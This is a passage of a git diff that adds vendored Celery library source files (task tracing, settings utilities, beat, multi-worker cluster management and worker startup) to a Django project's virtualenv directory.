if I else (0, Rstr, T) + + +def report_internal_error(task, exc): + _type, _value, _tb = sys.exc_info() + try: + _value = task.backend.prepare_exception(exc, 'pickle') + exc_info = ExceptionInfo((_type, _value, _tb), internal=True) + warn(RuntimeWarning( + 'Exception raised outside body: {!r}:\n{}'.format( + exc, exc_info.traceback))) + return exc_info + finally: + del _tb + + +def setup_worker_optimizations(app, hostname=None): + """Setup worker related optimizations.""" + hostname = hostname or gethostname() + + # make sure custom Task.__call__ methods that calls super + # won't mess up the request/task stack. + _install_stack_protection() + + # all new threads start without a current app, so if an app is not + # passed on to the thread it will fall back to the "default app", + # which then could be the wrong app. So for the worker + # we set this to always return our app. This is a hack, + # and means that only a single app can be used for workers + # running in the same process. + app.set_current() + app.set_default() + + # evaluate all task classes by finalizing the app. + app.finalize() + + # set fast shortcut to task registry + _localized[:] = [ + app._tasks, + prepare_accept_content(app.conf.accept_content), + hostname, + ] + + app.use_fast_trace_task = True + + +def reset_worker_optimizations(app=current_app): + """Reset previously configured optimizations.""" + try: + delattr(BaseTask, '_stackprotected') + except AttributeError: + pass + try: + BaseTask.__call__ = _patched.pop('BaseTask.__call__') + except KeyError: + pass + app.use_fast_trace_task = False + + +def _install_stack_protection(): + # Patches BaseTask.__call__ in the worker to handle the edge case + # where people override it and also call super. + # + # - The worker optimizes away BaseTask.__call__ and instead + # calls task.run directly. + # - so with the addition of current_task and the request stack + # BaseTask.__call__ now pushes to those stacks so that + # they work when tasks are called directly. + # + # The worker only optimizes away __call__ in the case + # where it hasn't been overridden, so the request/task stack + # will blow if a custom task class defines __call__ and also + # calls super(). + if not getattr(BaseTask, '_stackprotected', False): + _patched['BaseTask.__call__'] = orig = BaseTask.__call__ + + def __protected_call__(self, *args, **kwargs): + stack = self.request_stack + req = stack.top + if req and not req._protected and \ + len(stack) == 1 and not req.called_directly: + req._protected = 1 + return self.run(*args, **kwargs) + return orig(self, *args, **kwargs) + BaseTask.__call__ = __protected_call__ + BaseTask._stackprotected = True diff --git a/django_lottopy/lib/python3.10/site-packages/celery/app/utils.py b/django_lottopy/lib/python3.10/site-packages/celery/app/utils.py new file mode 100644 index 00000000..8b72652e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/app/utils.py @@ -0,0 +1,416 @@ +"""App utilities: Compat settings, bug-report tool, pickling apps.""" +import os +import platform as _platform +import re +from collections import namedtuple +from collections.abc import Mapping +from copy import deepcopy +from types import ModuleType + +from kombu.utils.url import maybe_sanitize_url + +from celery.exceptions import ImproperlyConfigured +from celery.platforms import pyimplementation +from celery.utils.collections import ConfigurationView +from celery.utils.imports import import_from_cwd, qualname, symbol_by_name +from celery.utils.text import pretty + +from .defaults import (_OLD_DEFAULTS, _OLD_SETTING_KEYS, _TO_NEW_KEY, + _TO_OLD_KEY, DEFAULTS, SETTING_KEYS, find) + +__all__ = ( + 'Settings', 'appstr', 'bugreport', + 'filter_hidden_settings', 'find_app', +) + +#: Format used to generate bug-report information. +BUGREPORT_INFO = """ +software -> celery:{celery_v} kombu:{kombu_v} py:{py_v} + billiard:{billiard_v} {driver_v} +platform -> system:{system} arch:{arch} + kernel version:{kernel_version} imp:{py_i} +loader -> {loader} +settings -> transport:{transport} results:{results} + +{human_settings} +""" + +HIDDEN_SETTINGS = re.compile( + 'API|TOKEN|KEY|SECRET|PASS|PROFANITIES_LIST|SIGNATURE|DATABASE', + re.IGNORECASE, +) + +E_MIX_OLD_INTO_NEW = """ + +Cannot mix new and old setting keys, please rename the +following settings to the new format: + +{renames} + +""" + +E_MIX_NEW_INTO_OLD = """ + +Cannot mix new setting names with old setting names, please +rename the following settings to use the old format: + +{renames} + +Or change all of the settings to use the new format :) + +""" + +FMT_REPLACE_SETTING = '{replace:<36} -> {with_}' + + +def appstr(app): + """String used in __repr__ etc, to id app instances.""" + return f'{app.main or "__main__"} at {id(app):#x}' + + +class Settings(ConfigurationView): + """Celery settings object. + + .. seealso: + + :ref:`configuration` for a full list of configuration keys. + + """ + + def __init__(self, *args, deprecated_settings=None, **kwargs): + super().__init__(*args, **kwargs) + + self.deprecated_settings = deprecated_settings + + @property + def broker_read_url(self): + return ( + os.environ.get('CELERY_BROKER_READ_URL') or + self.get('broker_read_url') or + self.broker_url + ) + + @property + def broker_write_url(self): + return ( + os.environ.get('CELERY_BROKER_WRITE_URL') or + self.get('broker_write_url') or + self.broker_url + ) + + @property + def broker_url(self): + return ( + os.environ.get('CELERY_BROKER_URL') or + self.first('broker_url', 'broker_host') + ) + + @property + def result_backend(self): + return ( + os.environ.get('CELERY_RESULT_BACKEND') or + self.first('result_backend', 'CELERY_RESULT_BACKEND') + ) + + @property + def task_default_exchange(self): + return self.first( + 'task_default_exchange', + 'task_default_queue', + ) + + @property + def task_default_routing_key(self): + return self.first( + 'task_default_routing_key', + 'task_default_queue', + ) + + @property + def timezone(self): + # this way we also support django's time zone. + return self.first('timezone', 'time_zone') + + def without_defaults(self): + """Return the current configuration, but without defaults.""" + # the last stash is the default settings, so just skip that + return Settings({}, self.maps[:-1]) + + def value_set_for(self, key): + return key in self.without_defaults() + + def find_option(self, name, namespace=''): + """Search for option by name. + + Example: + >>> from proj.celery import app + >>> app.conf.find_option('disable_rate_limits') + ('worker', 'prefetch_multiplier', + bool default->False>)) + + Arguments: + name (str): Name of option, cannot be partial. + namespace (str): Preferred name-space (``None`` by default). + Returns: + Tuple: of ``(namespace, key, type)``. + """ + return find(name, namespace) + + def find_value_for_key(self, name, namespace='celery'): + """Shortcut to ``get_by_parts(*find_option(name)[:-1])``.""" + return self.get_by_parts(*self.find_option(name, namespace)[:-1]) + + def get_by_parts(self, *parts): + """Return the current value for setting specified as a path. + + Example: + >>> from proj.celery import app + >>> app.conf.get_by_parts('worker', 'disable_rate_limits') + False + """ + return self['_'.join(part for part in parts if part)] + + def finalize(self): + # See PendingConfiguration in celery/app/base.py + # first access will read actual configuration. + try: + self['__bogus__'] + except KeyError: + pass + return self + + def table(self, with_defaults=False, censored=True): + filt = filter_hidden_settings if censored else lambda v: v + dict_members = dir(dict) + self.finalize() + settings = self if with_defaults else self.without_defaults() + return filt({ + k: v for k, v in settings.items() + if not k.startswith('_') and k not in dict_members + }) + + def humanize(self, with_defaults=False, censored=True): + """Return a human readable text showing configuration changes.""" + return '\n'.join( + f'{key}: {pretty(value, width=50)}' + for key, value in self.table(with_defaults, censored).items()) + + def maybe_warn_deprecated_settings(self): + # TODO: Remove this method in Celery 6.0 + if self.deprecated_settings: + from celery.app.defaults import _TO_NEW_KEY + from celery.utils import deprecated + for setting in self.deprecated_settings: + deprecated.warn(description=f'The {setting!r} setting', + removal='6.0.0', + alternative=f'Use the {_TO_NEW_KEY[setting]} instead') + + return True + + return False + + +def _new_key_to_old(key, convert=_TO_OLD_KEY.get): + return convert(key, key) + + +def _old_key_to_new(key, convert=_TO_NEW_KEY.get): + return convert(key, key) + + +_settings_info_t = namedtuple('settings_info_t', ( + 'defaults', 'convert', 'key_t', 'mix_error', +)) + +_settings_info = _settings_info_t( + DEFAULTS, _TO_NEW_KEY, _old_key_to_new, E_MIX_OLD_INTO_NEW, +) +_old_settings_info = _settings_info_t( + _OLD_DEFAULTS, _TO_OLD_KEY, _new_key_to_old, E_MIX_NEW_INTO_OLD, +) + + +def detect_settings(conf, preconf=None, ignore_keys=None, prefix=None, + all_keys=None, old_keys=None): + preconf = {} if not preconf else preconf + ignore_keys = set() if not ignore_keys else ignore_keys + all_keys = SETTING_KEYS if not all_keys else all_keys + old_keys = _OLD_SETTING_KEYS if not old_keys else old_keys + + source = conf + if conf is None: + source, conf = preconf, {} + have = set(source.keys()) - ignore_keys + is_in_new = have.intersection(all_keys) + is_in_old = have.intersection(old_keys) + + info = None + if is_in_new: + # have new setting names + info, left = _settings_info, is_in_old + if is_in_old and len(is_in_old) > len(is_in_new): + # Majority of the settings are old. + info, left = _old_settings_info, is_in_new + if is_in_old: + # have old setting names, or a majority of the names are old. + if not info: + info, left = _old_settings_info, is_in_new + if is_in_new and len(is_in_new) > len(is_in_old): + # Majority of the settings are new + info, left = _settings_info, is_in_old + else: + # no settings, just use new format. + info, left = _settings_info, is_in_old + + if prefix: + # always use new format if prefix is used. + info, left = _settings_info, set() + + # only raise error for keys that the user didn't provide two keys + # for (e.g., both ``result_expires`` and ``CELERY_TASK_RESULT_EXPIRES``). + really_left = {key for key in left if info.convert[key] not in have} + if really_left: + # user is mixing old/new, or new/old settings, give renaming + # suggestions. + raise ImproperlyConfigured(info.mix_error.format(renames='\n'.join( + FMT_REPLACE_SETTING.format(replace=key, with_=info.convert[key]) + for key in sorted(really_left) + ))) + + preconf = {info.convert.get(k, k): v for k, v in preconf.items()} + defaults = dict(deepcopy(info.defaults), **preconf) + return Settings( + preconf, [conf, defaults], + (_old_key_to_new, _new_key_to_old), + deprecated_settings=is_in_old, + prefix=prefix, + ) + + +class AppPickler: + """Old application pickler/unpickler (< 3.1).""" + + def __call__(self, cls, *args): + kwargs = self.build_kwargs(*args) + app = self.construct(cls, **kwargs) + self.prepare(app, **kwargs) + return app + + def prepare(self, app, **kwargs): + app.conf.update(kwargs['changes']) + + def build_kwargs(self, *args): + return self.build_standard_kwargs(*args) + + def build_standard_kwargs(self, main, changes, loader, backend, amqp, + events, log, control, accept_magic_kwargs, + config_source=None): + return {'main': main, 'loader': loader, 'backend': backend, + 'amqp': amqp, 'changes': changes, 'events': events, + 'log': log, 'control': control, 'set_as_current': False, + 'config_source': config_source} + + def construct(self, cls, **kwargs): + return cls(**kwargs) + + +def _unpickle_app(cls, pickler, *args): + """Rebuild app for versions 2.5+.""" + return pickler()(cls, *args) + + +def _unpickle_app_v2(cls, kwargs): + """Rebuild app for versions 3.1+.""" + kwargs['set_as_current'] = False + return cls(**kwargs) + + +def filter_hidden_settings(conf): + """Filter sensitive settings.""" + def maybe_censor(key, value, mask='*' * 8): + if isinstance(value, Mapping): + return filter_hidden_settings(value) + if isinstance(key, str): + if HIDDEN_SETTINGS.search(key): + return mask + elif 'broker_url' in key.lower(): + from kombu import Connection + return Connection(value).as_uri(mask=mask) + elif 'backend' in key.lower(): + return maybe_sanitize_url(value, mask=mask) + + return value + + return {k: maybe_censor(k, v) for k, v in conf.items()} + + +def bugreport(app): + """Return a string containing information useful in bug-reports.""" + import billiard + import kombu + + import celery + + try: + conn = app.connection() + driver_v = '{}:{}'.format(conn.transport.driver_name, + conn.transport.driver_version()) + transport = conn.transport_cls + except Exception: # pylint: disable=broad-except + transport = driver_v = '' + + return BUGREPORT_INFO.format( + system=_platform.system(), + arch=', '.join(x for x in _platform.architecture() if x), + kernel_version=_platform.release(), + py_i=pyimplementation(), + celery_v=celery.VERSION_BANNER, + kombu_v=kombu.__version__, + billiard_v=billiard.__version__, + py_v=_platform.python_version(), + driver_v=driver_v, + transport=transport, + results=maybe_sanitize_url(app.conf.result_backend or 'disabled'), + human_settings=app.conf.humanize(), + loader=qualname(app.loader.__class__), + ) + + +def find_app(app, symbol_by_name=symbol_by_name, imp=import_from_cwd): + """Find app by name.""" + from .base import Celery + + try: + sym = symbol_by_name(app, imp=imp) + except AttributeError: + # last part was not an attribute, but a module + sym = imp(app) + if isinstance(sym, ModuleType) and ':' not in app: + try: + found = sym.app + if isinstance(found, ModuleType): + raise AttributeError() + except AttributeError: + try: + found = sym.celery + if isinstance(found, ModuleType): + raise AttributeError( + "attribute 'celery' is the celery module not the instance of celery") + except AttributeError: + if getattr(sym, '__path__', None): + try: + return find_app( + f'{app}.celery', + symbol_by_name=symbol_by_name, imp=imp, + ) + except ImportError: + pass + for suspect in vars(sym).values(): + if isinstance(suspect, Celery): + return suspect + raise + else: + return found + else: + return found + return sym diff --git a/django_lottopy/lib/python3.10/site-packages/celery/apps/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery/apps/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/django_lottopy/lib/python3.10/site-packages/celery/apps/beat.py b/django_lottopy/lib/python3.10/site-packages/celery/apps/beat.py new file mode 100644 index 00000000..8652c627 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/apps/beat.py @@ -0,0 +1,152 @@ +"""Beat command-line program. + +This module is the 'program-version' of :mod:`celery.beat`. + +It does everything necessary to run that module +as an actual application, like installing signal handlers +and so on. +""" +import numbers +import socket +import sys +from datetime import datetime + +from celery import VERSION_BANNER, beat, platforms +from celery.utils.imports import qualname +from celery.utils.log import LOG_LEVELS, get_logger +from celery.utils.time import humanize_seconds + +__all__ = ('Beat',) + +STARTUP_INFO_FMT = """ +LocalTime -> {timestamp} +Configuration -> + . broker -> {conninfo} + . loader -> {loader} + . scheduler -> {scheduler} +{scheduler_info} + . logfile -> {logfile}@%{loglevel} + . maxinterval -> {hmax_interval} ({max_interval}s) +""".strip() + +logger = get_logger('celery.beat') + + +class Beat: + """Beat as a service.""" + + Service = beat.Service + app = None + + def __init__(self, max_interval=None, app=None, + socket_timeout=30, pidfile=None, no_color=None, + loglevel='WARN', logfile=None, schedule=None, + scheduler=None, + scheduler_cls=None, # XXX use scheduler + redirect_stdouts=None, + redirect_stdouts_level=None, **kwargs): + self.app = app = app or self.app + either = self.app.either + self.loglevel = loglevel + self.logfile = logfile + self.schedule = either('beat_schedule_filename', schedule) + self.scheduler_cls = either( + 'beat_scheduler', scheduler, scheduler_cls) + self.redirect_stdouts = either( + 'worker_redirect_stdouts', redirect_stdouts) + self.redirect_stdouts_level = either( + 'worker_redirect_stdouts_level', redirect_stdouts_level) + + self.max_interval = max_interval + self.socket_timeout = socket_timeout + self.no_color = no_color + self.colored = app.log.colored( + self.logfile, + enabled=not no_color if no_color is not None else no_color, + ) + self.pidfile = pidfile + + if not isinstance(self.loglevel, numbers.Integral): + self.loglevel = LOG_LEVELS[self.loglevel.upper()] + + def run(self): + print(str(self.colored.cyan( + f'celery beat v{VERSION_BANNER} is starting.'))) + self.init_loader() + self.set_process_title() + self.start_scheduler() + + def setup_logging(self, colorize=None): + if colorize is None and self.no_color is not None: + colorize = not self.no_color + self.app.log.setup(self.loglevel, self.logfile, + self.redirect_stdouts, self.redirect_stdouts_level, + colorize=colorize) + + def start_scheduler(self): + if self.pidfile: + platforms.create_pidlock(self.pidfile) + service = self.Service( + app=self.app, + max_interval=self.max_interval, + scheduler_cls=self.scheduler_cls, + schedule_filename=self.schedule, + ) + + print(self.banner(service)) + + self.setup_logging() + if self.socket_timeout: + logger.debug('Setting default socket timeout to %r', + self.socket_timeout) + socket.setdefaulttimeout(self.socket_timeout) + try: + self.install_sync_handler(service) + service.start() + except Exception as exc: + logger.critical('beat raised exception %s: %r', + exc.__class__, exc, + exc_info=True) + raise + + def banner(self, service): + c = self.colored + return str( + c.blue('__ ', c.magenta('-'), + c.blue(' ... __ '), c.magenta('-'), + c.blue(' _\n'), + c.reset(self.startup_info(service))), + ) + + def init_loader(self): + # Run the worker init handler. + # (Usually imports task modules and such.) + self.app.loader.init_worker() + self.app.finalize() + + def startup_info(self, service): + scheduler = service.get_scheduler(lazy=True) + return STARTUP_INFO_FMT.format( + conninfo=self.app.connection().as_uri(), + timestamp=datetime.now().replace(microsecond=0), + logfile=self.logfile or '[stderr]', + loglevel=LOG_LEVELS[self.loglevel], + loader=qualname(self.app.loader), + scheduler=qualname(scheduler), + scheduler_info=scheduler.info, + hmax_interval=humanize_seconds(scheduler.max_interval), + max_interval=scheduler.max_interval, + ) + + def set_process_title(self): + arg_start = 'manage' in sys.argv[0] and 2 or 1 + platforms.set_process_title( + 'celery beat', info=' '.join(sys.argv[arg_start:]), + ) + + def install_sync_handler(self, service): + """Install a `SIGTERM` + `SIGINT` handler saving the schedule.""" + def _sync(signum, frame): + service.sync() + raise SystemExit() + platforms.signals.update(SIGTERM=_sync, SIGINT=_sync) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/apps/multi.py b/django_lottopy/lib/python3.10/site-packages/celery/apps/multi.py new file mode 100644 index 00000000..61374342 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/apps/multi.py @@ -0,0 +1,507 @@ +"""Start/stop/manage workers.""" +import errno +import os +import shlex +import signal +import sys +from collections import OrderedDict, UserList, defaultdict +from functools import partial +from subprocess import Popen +from time import sleep + +from kombu.utils.encoding import from_utf8 +from kombu.utils.objects import cached_property + +from celery.platforms import IS_WINDOWS, Pidfile, signal_name +from celery.utils.nodenames import (gethostname, host_format, node_format, + nodesplit) +from celery.utils.saferepr import saferepr + +__all__ = ('Cluster', 'Node') + +CELERY_EXE = 'celery' + + +def celery_exe(*args): + return ' '.join((CELERY_EXE,) + args) + + +def build_nodename(name, prefix, suffix): + hostname = suffix + if '@' in name: + nodename = host_format(name) + shortname, hostname = nodesplit(nodename) + name = shortname + else: + shortname = f'{prefix}{name}' + nodename = host_format( + f'{shortname}@{hostname}', + ) + return name, nodename, hostname + + +def build_expander(nodename, shortname, hostname): + return partial( + node_format, + name=nodename, + N=shortname, + d=hostname, + h=nodename, + i='%i', + I='%I', + ) + + +def format_opt(opt, value): + if not value: + return opt + if opt.startswith('--'): + return f'{opt}={value}' + return f'{opt} {value}' + + +def _kwargs_to_command_line(kwargs): + return { + ('--{}'.format(k.replace('_', '-')) + if len(k) > 1 else f'-{k}'): f'{v}' + for k, v in kwargs.items() + } + + +class NamespacedOptionParser: + + def __init__(self, args): + self.args = args + self.options = OrderedDict() + self.values = [] + self.passthrough = '' + self.namespaces = defaultdict(lambda: OrderedDict()) + + def parse(self): + rargs = [arg for arg in self.args if arg] + pos = 0 + while pos < len(rargs): + arg = rargs[pos] + if arg == '--': + self.passthrough = ' '.join(rargs[pos:]) + break + elif arg[0] == '-': + if arg[1] == '-': + self.process_long_opt(arg[2:]) + else: + value = None + if len(rargs) > pos + 1 and rargs[pos + 1][0] != '-': + value = rargs[pos + 1] + pos += 1 + self.process_short_opt(arg[1:], value) + else: + self.values.append(arg) + pos += 1 + + def process_long_opt(self, arg, value=None): + if '=' in arg: + arg, value = arg.split('=', 1) + self.add_option(arg, value, short=False) + + def process_short_opt(self, arg, value=None): + self.add_option(arg, value, short=True) + + def optmerge(self, ns, defaults=None): + if defaults is None: + defaults = self.options + return OrderedDict(defaults, **self.namespaces[ns]) + + def add_option(self, name, value, short=False, ns=None): + prefix = short and '-' or '--' + dest = self.options + if ':' in name: + name, ns = name.split(':') + dest = self.namespaces[ns] + dest[prefix + name] = value + + +class Node: + """Represents a node in a cluster.""" + + def __init__(self, name, + cmd=None, append=None, options=None, extra_args=None): + self.name = name + self.cmd = cmd or f"-m {celery_exe('worker', '--detach')}" + self.append = append + self.extra_args = extra_args or '' + self.options = self._annotate_with_default_opts( + options or OrderedDict()) + self.expander = self._prepare_expander() + self.argv = self._prepare_argv() + self._pid = None + + def _annotate_with_default_opts(self, options): + options['-n'] = self.name + self._setdefaultopt(options, ['--pidfile', '-p'], '/var/run/celery/%n.pid') + self._setdefaultopt(options, ['--logfile', '-f'], '/var/log/celery/%n%I.log') + self._setdefaultopt(options, ['--executable'], sys.executable) + return options + + def _setdefaultopt(self, d, alt, value): + for opt in alt[1:]: + try: + return d[opt] + except KeyError: + pass + value = d.setdefault(alt[0], os.path.normpath(value)) + dir_path = os.path.dirname(value) + if dir_path and not os.path.exists(dir_path): + os.makedirs(dir_path) + return value + + def _prepare_expander(self): + shortname, hostname = self.name.split('@', 1) + return build_expander( + self.name, shortname, hostname) + + def _prepare_argv(self): + cmd = self.expander(self.cmd).split(' ') + i = cmd.index('celery') + 1 + + options = self.options.copy() + for opt, value in self.options.items(): + if opt in ( + '-A', '--app', + '-b', '--broker', + '--result-backend', + '--loader', + '--config', + '--workdir', + '-C', '--no-color', + '-q', '--quiet', + ): + cmd.insert(i, format_opt(opt, self.expander(value))) + + options.pop(opt) + + cmd = [' '.join(cmd)] + argv = tuple( + cmd + + [format_opt(opt, self.expander(value)) + for opt, value in options.items()] + + [self.extra_args] + ) + if self.append: + argv += (self.expander(self.append),) + return argv + + def alive(self): + return self.send(0) + + def send(self, sig, on_error=None): + pid = self.pid + if pid: + try: + os.kill(pid, sig) + except OSError as exc: + if exc.errno != errno.ESRCH: + raise + maybe_call(on_error, self) + return False + return True + maybe_call(on_error, self) + + def start(self, env=None, **kwargs): + return self._waitexec( + self.argv, path=self.executable, env=env, **kwargs) + + def _waitexec(self, argv, path=sys.executable, env=None, + on_spawn=None, on_signalled=None, on_failure=None): + argstr = self.prepare_argv(argv, path) + maybe_call(on_spawn, self, argstr=' '.join(argstr), env=env) + pipe = Popen(argstr, env=env) + return self.handle_process_exit( + pipe.wait(), + on_signalled=on_signalled, + on_failure=on_failure, + ) + + def handle_process_exit(self, retcode, on_signalled=None, on_failure=None): + if retcode < 0: + maybe_call(on_signalled, self, -retcode) + return -retcode + elif retcode > 0: + maybe_call(on_failure, self, retcode) + return retcode + + def prepare_argv(self, argv, path): + args = ' '.join([path] + list(argv)) + return shlex.split(from_utf8(args), posix=not IS_WINDOWS) + + def getopt(self, *alt): + for opt in alt: + try: + return self.options[opt] + except KeyError: + pass + raise KeyError(alt[0]) + + def __repr__(self): + return f'<{type(self).__name__}: {self.name}>' + + @cached_property + def pidfile(self): + return self.expander(self.getopt('--pidfile', '-p')) + + @cached_property + def logfile(self): + return self.expander(self.getopt('--logfile', '-f')) + + @property + def pid(self): + if self._pid is not None: + return self._pid + try: + return Pidfile(self.pidfile).read_pid() + except ValueError: + pass + + @pid.setter + def pid(self, value): + self._pid = value + + @cached_property + def executable(self): + return self.options['--executable'] + + @cached_property + def argv_with_executable(self): + return (self.executable,) + self.argv + + @classmethod + def from_kwargs(cls, name, **kwargs): + return cls(name, options=_kwargs_to_command_line(kwargs)) + + +def maybe_call(fun, *args, **kwargs): + if fun is not None: + fun(*args, **kwargs) + + +class MultiParser: + Node = Node + + def __init__(self, cmd='celery worker', + append='', prefix='', suffix='', + range_prefix='celery'): + self.cmd = cmd + self.append = append + self.prefix = prefix + self.suffix = suffix + self.range_prefix = range_prefix + + def parse(self, p): + names = p.values + options = dict(p.options) + ranges = len(names) == 1 + prefix = self.prefix + cmd = options.pop('--cmd', self.cmd) + append = options.pop('--append', self.append) + hostname = options.pop('--hostname', options.pop('-n', gethostname())) + prefix = options.pop('--prefix', prefix) or '' + suffix = options.pop('--suffix', self.suffix) or hostname + suffix = '' if suffix in ('""', "''") else suffix + range_prefix = options.pop('--range-prefix', '') or self.range_prefix + if ranges: + try: + names, prefix = self._get_ranges(names), range_prefix + except ValueError: + pass + self._update_ns_opts(p, names) + self._update_ns_ranges(p, ranges) + + return ( + self._node_from_options( + p, name, prefix, suffix, cmd, append, options) + for name in names + ) + + def _node_from_options(self, p, name, prefix, + suffix, cmd, append, options): + namespace, nodename, _ = build_nodename(name, prefix, suffix) + namespace = nodename if nodename in p.namespaces else namespace + return Node(nodename, cmd, append, + p.optmerge(namespace, options), p.passthrough) + + def _get_ranges(self, names): + noderange = int(names[0]) + return [str(n) for n in range(1, noderange + 1)] + + def _update_ns_opts(self, p, names): + # Numbers in args always refers to the index in the list of names. + # (e.g., `start foo bar baz -c:1` where 1 is foo, 2 is bar, and so on). + for ns_name, ns_opts in list(p.namespaces.items()): + if ns_name.isdigit(): + ns_index = int(ns_name) - 1 + if ns_index < 0: + raise KeyError(f'Indexes start at 1 got: {ns_name!r}') + try: + p.namespaces[names[ns_index]].update(ns_opts) + except IndexError: + raise KeyError(f'No node at index {ns_name!r}') + + def _update_ns_ranges(self, p, ranges): + for ns_name, ns_opts in list(p.namespaces.items()): + if ',' in ns_name or (ranges and '-' in ns_name): + for subns in self._parse_ns_range(ns_name, ranges): + p.namespaces[subns].update(ns_opts) + p.namespaces.pop(ns_name) + + def _parse_ns_range(self, ns, ranges=False): + ret = [] + for space in ',' in ns and ns.split(',') or [ns]: + if ranges and '-' in space: + start, stop = space.split('-') + ret.extend( + str(n) for n in range(int(start), int(stop) + 1) + ) + else: + ret.append(space) + return ret + + +class Cluster(UserList): + """Represent a cluster of workers.""" + + def __init__(self, nodes, cmd=None, env=None, + on_stopping_preamble=None, + on_send_signal=None, + on_still_waiting_for=None, + on_still_waiting_progress=None, + on_still_waiting_end=None, + on_node_start=None, + on_node_restart=None, + on_node_shutdown_ok=None, + on_node_status=None, + on_node_signal=None, + on_node_signal_dead=None, + on_node_down=None, + on_child_spawn=None, + on_child_signalled=None, + on_child_failure=None): + self.nodes = nodes + self.cmd = cmd or celery_exe('worker') + self.env = env + + self.on_stopping_preamble = on_stopping_preamble + self.on_send_signal = on_send_signal + self.on_still_waiting_for = on_still_waiting_for + self.on_still_waiting_progress = on_still_waiting_progress + self.on_still_waiting_end = on_still_waiting_end + self.on_node_start = on_node_start + self.on_node_restart = on_node_restart + self.on_node_shutdown_ok = on_node_shutdown_ok + self.on_node_status = on_node_status + self.on_node_signal = on_node_signal + self.on_node_signal_dead = on_node_signal_dead + self.on_node_down = on_node_down + self.on_child_spawn = on_child_spawn + self.on_child_signalled = on_child_signalled + self.on_child_failure = on_child_failure + + def start(self): + return [self.start_node(node) for node in self] + + def start_node(self, node): + maybe_call(self.on_node_start, node) + retcode = self._start_node(node) + maybe_call(self.on_node_status, node, retcode) + return retcode + + def _start_node(self, node): + return node.start( + self.env, + on_spawn=self.on_child_spawn, + on_signalled=self.on_child_signalled, + on_failure=self.on_child_failure, + ) + + def send_all(self, sig): + for node in self.getpids(on_down=self.on_node_down): + maybe_call(self.on_node_signal, node, signal_name(sig)) + node.send(sig, self.on_node_signal_dead) + + def kill(self): + return self.send_all(signal.SIGKILL) + + def restart(self, sig=signal.SIGTERM): + retvals = [] + + def restart_on_down(node): + maybe_call(self.on_node_restart, node) + retval = self._start_node(node) + maybe_call(self.on_node_status, node, retval) + retvals.append(retval) + + self._stop_nodes(retry=2, on_down=restart_on_down, sig=sig) + return retvals + + def stop(self, retry=None, callback=None, sig=signal.SIGTERM): + return self._stop_nodes(retry=retry, on_down=callback, sig=sig) + + def stopwait(self, retry=2, callback=None, sig=signal.SIGTERM): + return self._stop_nodes(retry=retry, on_down=callback, sig=sig) + + def _stop_nodes(self, retry=None, on_down=None, sig=signal.SIGTERM): + on_down = on_down if on_down is not None else self.on_node_down + nodes = list(self.getpids(on_down=on_down)) + if nodes: + for node in self.shutdown_nodes(nodes, sig=sig, retry=retry): + maybe_call(on_down, node) + + def shutdown_nodes(self, nodes, sig=signal.SIGTERM, retry=None): + P = set(nodes) + maybe_call(self.on_stopping_preamble, nodes) + to_remove = set() + for node in P: + maybe_call(self.on_send_signal, node, signal_name(sig)) + if not node.send(sig, self.on_node_signal_dead): + to_remove.add(node) + yield node + P -= to_remove + if retry: + maybe_call(self.on_still_waiting_for, P) + its = 0 + while P: + to_remove = set() + for node in P: + its += 1 + maybe_call(self.on_still_waiting_progress, P) + if not node.alive(): + maybe_call(self.on_node_shutdown_ok, node) + to_remove.add(node) + yield node + maybe_call(self.on_still_waiting_for, P) + break + P -= to_remove + if P and not its % len(P): + sleep(float(retry)) + maybe_call(self.on_still_waiting_end) + + def find(self, name): + for node in self: + if node.name == name: + return node + raise KeyError(name) + + def getpids(self, on_down=None): + for node in self: + if node.pid: + yield node + else: + maybe_call(on_down, node) + + def __repr__(self): + return '<{name}({0}): {1}>'.format( + len(self), saferepr([n.name for n in self]), + name=type(self).__name__, + ) + + @property + def data(self): + return self.nodes diff --git a/django_lottopy/lib/python3.10/site-packages/celery/apps/worker.py b/django_lottopy/lib/python3.10/site-packages/celery/apps/worker.py new file mode 100644 index 00000000..8f774ae3 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/apps/worker.py @@ -0,0 +1,391 @@ +"""Worker command-line program. + +This module is the 'program-version' of :mod:`celery.worker`. + +It does everything necessary to run that module +as an actual application, like installing signal handlers, +platform tweaks, and so on. +""" +import logging +import os +import platform as _platform +import sys +from datetime import datetime +from functools import partial + +from billiard.common import REMAP_SIGTERM +from billiard.process import current_process +from kombu.utils.encoding import safe_str + +from celery import VERSION_BANNER, platforms, signals +from celery.app import trace +from celery.exceptions import WorkerShutdown, WorkerTerminate +from celery.loaders.app import AppLoader +from celery.platforms import EX_FAILURE, EX_OK, check_privileges, isatty +from celery.utils import static, term +from celery.utils.debug import cry +from celery.utils.imports import qualname +from celery.utils.log import get_logger, in_sighandler, set_in_sighandler +from celery.utils.text import pluralize +from celery.worker import WorkController + +__all__ = ('Worker',) + +logger = get_logger(__name__) +is_jython = sys.platform.startswith('java') +is_pypy = hasattr(sys, 'pypy_version_info') + +ARTLINES = [ + ' --------------', + '--- ***** -----', + '-- ******* ----', + '- *** --- * ---', + '- ** ----------', + '- ** ----------', + '- ** ----------', + '- ** ----------', + '- *** --- * ---', + '-- ******* ----', + '--- ***** -----', + ' --------------', +] + +BANNER = """\ +{hostname} v{version} + +{platform} {timestamp} + +[config] +.> app: {app} +.> transport: {conninfo} +.> results: {results} +.> concurrency: {concurrency} +.> task events: {events} + +[queues] +{queues} +""" + +EXTRA_INFO_FMT = """ +[tasks] +{tasks} +""" + + +def active_thread_count(): + from threading import enumerate + return sum(1 for t in enumerate() + if not t.name.startswith('Dummy-')) + + +def safe_say(msg): + print(f'\n{msg}', file=sys.__stderr__, flush=True) + + +class Worker(WorkController): + """Worker as a program.""" + + def on_before_init(self, quiet=False, **kwargs): + self.quiet = quiet + trace.setup_worker_optimizations(self.app, self.hostname) + + # this signal can be used to set up configuration for + # workers by name. + signals.celeryd_init.send( + sender=self.hostname, instance=self, + conf=self.app.conf, options=kwargs, + ) + check_privileges(self.app.conf.accept_content) + + def on_after_init(self, purge=False, no_color=None, + redirect_stdouts=None, redirect_stdouts_level=None, + **kwargs): + self.redirect_stdouts = self.app.either( + 'worker_redirect_stdouts', redirect_stdouts) + self.redirect_stdouts_level = self.app.either( + 